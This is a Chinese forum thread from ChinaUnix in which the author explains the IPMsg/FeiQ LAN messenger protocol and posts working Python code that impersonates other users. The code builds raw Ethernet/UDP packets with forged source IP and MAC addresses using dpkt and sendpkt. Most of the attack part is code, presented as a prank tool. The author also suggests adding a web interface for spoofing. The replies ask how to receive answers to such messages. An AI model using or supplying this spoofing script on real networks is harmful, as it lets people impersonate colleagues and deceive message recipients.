免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 5112 | 回复: 3
打印 上一主题 下一主题

局域网内实现飞鸽欺骗 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-02-10 12:01 |只看该作者 |倒序浏览
本帖最后由 阳光boyer 于 2011-02-10 12:02 编辑

我们常在局域网内用飞鸽进行沟通、文件传输。有天突发奇想,要是我能冒充某给人给另外一个人发送飞鸽消息,该多有趣?有了想法,就该去实现,不然就是空想了。。不过还真空想了段时间,但最后还是写出了个小程序,和大家分享下。


要想冒充他人,首先得了解下飞鸽协议(见http://zhidao.baidu.com/question/41558223.html)。由于我们大多数人用的都是飞秋,所以就直接分析飞秋了。

飞秋协议实际上飞鸽协议的扩展,比飞鸽稍微复杂点。首先看个简单的例子,我们以编程的方式,自己给自己发条消息。看代码和截图:

Python代码

  • >>> import socket   
  • >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)   
  • >>> udp.connect(('localhost',2425))   
  • >>> udp.send('1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~')   

  • 51
  • >>>  

>>> import socket>>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)>>> udp.connect(('localhost',2425))>>> udp.send('1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~')51>>>



简单说明下代码:

飞鸽运行时,会监听UDP和TCP的2425端口,所以我们首先要和本地建立UDP连接,TCP连接一般用来发送文件等。
1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?~~是飞鸽的协议字符串,
1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。

这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。


我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?

有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。关于怎么使用,可以看之前我的帖子 http://www.javaeye.com/topic/600032#1696365

通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。。

现在的问题是:怎么构建以太网数据包。

由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。构建以太网数据包可以采用dpkt,非常方便。

现在,我们用wireshark来分析飞秋的协议。。打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:







飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。然后对方也会把自己的信息发给你,你的飞秋中也就有了他。

我们把截获的代码拷出来,就是 1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:6291457: 别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。

1_lbt4_10#32899#002481627512#0#0#0 版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流

1289671407 也就是包序号了。

Administrator是用户名

MICROSO-697TGLD 是主机名

6291457是命令字表示上线。还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。由于我只想发送消息,所以只需要修改下命令字为288即可。

下面就是一个发送消息的命令字:

1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不见,如三月兮
Python代码

  • >>> import socket   
  • >>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)   
  • >>> udp.connect(('localhost',2425))   
  • >>> udp.send('1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不见,如三月兮')   

  • 86
  • >>>  

>>> import socket>>> udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)>>> udp.connect(('localhost',2425))>>> udp.send('1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不见,如三月兮')86>>>




细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。呵呵。。因为我们发送的是飞秋命令字。。


有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。。啥都不说了,上代码:
Python代码

  • #coding=utf-8

  • import dpkt   

  • import sendpkt   

  • from socket import inet_aton   

  • from time import strftime   

  • import socket   

  • import types   

  • import uuid   

  • #本地网关MAC地址,可以通过如下方式获取:

  • #C:\Users\Administrator>arp -a

  • #接口: 192.168.0.100 --- 0xb

  • #  Internet 地址         物理地址                                             类型

  • #  192.168.0.1    00-03-47-ca-e4-5c     动态
  • MASK_MAC='1c-af-f7-c0-65-a8'

  • def get_local_mac():   

  • '''''
  •                 获得本机Mac地址
  •     '''
  •     mac=uuid.uuid1().hex[-12:]   

  • return
    '-'.join([mac[(i-1)*2:2*i] for i in range(1,7)])   

  • def send_msg(kwargs):   

  • '''''
  •                 发送消息,kwargs参数为一个dict对象
  •     '''

  • if type(kwargs) is
    not types.DictType:   

  • return

  • #本机ip地址
  •     local_ip=kwargs.get('src',socket.gethostbyname(socket.gethostname()))   

  • #转码后的源ip地址
  •     src_ip=inet_aton(local_ip)   

  • #转码后的目的ip地址
  •     dst_ip=inet_aton(kwargs.get('dst'))   

  • #本机mac地址
  •     local_mac=kwargs.get('src_mac',get_local_mac())   

  • #转码后的源mac地址
  •     src_mac=pack_mac(local_mac)   

  • #判断remote_ip和local_ip是否在同一个网段

  • #转码后的目的mac地址
  •     dst_mac=pack_mac(kwargs.get('dst_mac'))\   

  • if trans(local_ip)==trans(kwargs.get('dst')) else pack_mac(MASK_MAC)   
  •     host=kwargs.get('host',socket.gethostname())   
  •     user=kwargs.get('user','User')   
  •     msg=kwargs.get('msg','Hello')   

  • #找到第一个网络端口,根据自己的情况修改

  • #安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下
  •     device=sendpkt.findalldevs()[0]     

  • #飞鸽监听本地的UDP 2425端口   
  •     udp=dpkt.udp.UDP(dport=2425,sport=2425)   

  • #向飞鸽发送消息命令字

  • #6291458表示下线

  • #6291457表示上线

  • #288表示发送信息

  • #如果是飞秋,65664这个状态会在对方上显示为两个太阳
  •     msg="1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s" \   
  •         %(local_mac.replace('-',''),int(strftime('%m%d%H%M%S'))+100000000,user,host,msg)   
  •     msg=msg.encode("gbk")   
  •     udp.data+=msg   
  •     udp.ulen=len(udp)   
  •     ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)   

  • #重新计算ip的长度,不然消息发送不出去
  •     ip.len=len(ip)   
  •     ether=dpkt.ethernet.Ethernet(   
  •         dst=dst_mac,   
  •         src=src_mac,   
  •         type=0x0800,   
  •         data=ip   
  •     )   
  •     sendpkt.sendpacket(str(ether),device)   

  • def trans(ip,mask='255.255.255.0'):   

  • '''''
  •           判断两个ip地址是否在同一个网段
  •     '''
  •     str=[]   
  •     ip=ip.split(".")   
  •     mask=mask.split(".")   

  • for index,item in enumerate(ip):   
  •         str.append(int(item)&int(mask[index]))   

  • return str   

  • def pack_mac(mac,pattern='-'):   

  • '''''
  •          网卡地址转为以太网Mac地址
  •          例如将"08-00-27-ba-f7-e5"转为"\x08\x00'\xba\xf7\xe5"
  •     '''
  •     mac=mac.split(pattern.lower())   

  • return "".join([chr(int('0x'+x,16)) for x in mac])   

  • if __name__=="__main__":   
  •     s={   

  • 'src':'192.168.0.106',   

  • 'dst':'192.168.0.100',   

  • 'src_mac':'00-15-AF-AE-E6-C0',   

  • #这个地址最好别写错,可以从飞鸽上看到好友的Mac地址

  • 'dst_mac':'00-24-81-62-75-12',   

  • 'host':'哈哈',   

  • 'user':'呵呵',   

  • 'msg':'加班呀?'
  •     }   
  •     send_msg(s)  


代码我就不解释了,大家可以看里面的注释,写得比较明白。。我们来测试下,看看效果。。。从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168.0.106,mac是00-15-AF-AE-E6-C0
运行后,可以看到这样的结果:






貌似是可以欺骗成功了。。不过如果要欺骗其他网段的飞秋好友,一定要修过代码中的MASK_MAC字段,大家用wireshark分析飞秋的UPD数据包就知道了。。。


如果大家有兴趣,可以自己做个图形化的界面,比如web页面,可以图形化的进行欺骗。。。那就有意思了,比如:



呵呵,就此告一段落。。。如果大家都挺关注,我就把code都发上来吧。。。。最后,希望本人能抛砖引玉,让大家发挥出刚强的创造力。。。祝各位周末愉快 :)

论坛徽章:
0
2 [报告]
发表于 2013-06-20 09:33 |只看该作者
回复 1# 阳光boyer


    高手,学习了!

再请教一个问题,消息发出去了,如果美女回复了,怎么收信息啊?

论坛徽章:
8
双鱼座
日期:2014-07-30 09:28:14辰龙
日期:2014-08-22 14:14:43水瓶座
日期:2014-12-02 15:36:392015年亚洲杯之朝鲜
日期:2015-02-06 09:28:592015亚冠之全北现代
日期:2015-09-10 14:40:18青铜圣斗士
日期:2015-11-18 09:22:56黄金圣斗士
日期:2015-11-26 09:17:2615-16赛季CBA联赛之新疆
日期:2016-08-15 17:00:22
3 [报告]
发表于 2013-06-20 13:15 |只看该作者
qu-hao 发表于 2013-06-20 09:33
回复 1# 阳光boyer

同问,这个有意思

论坛徽章:
5
丑牛
日期:2014-01-21 08:26:26卯兔
日期:2014-03-11 06:37:43天秤座
日期:2014-03-25 08:52:52寅虎
日期:2014-04-19 11:39:48午马
日期:2014-08-06 03:56:58
4 [报告]
发表于 2013-06-20 13:26 |只看该作者
有意思,同问如果美女回复了,怎么收信息啊?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP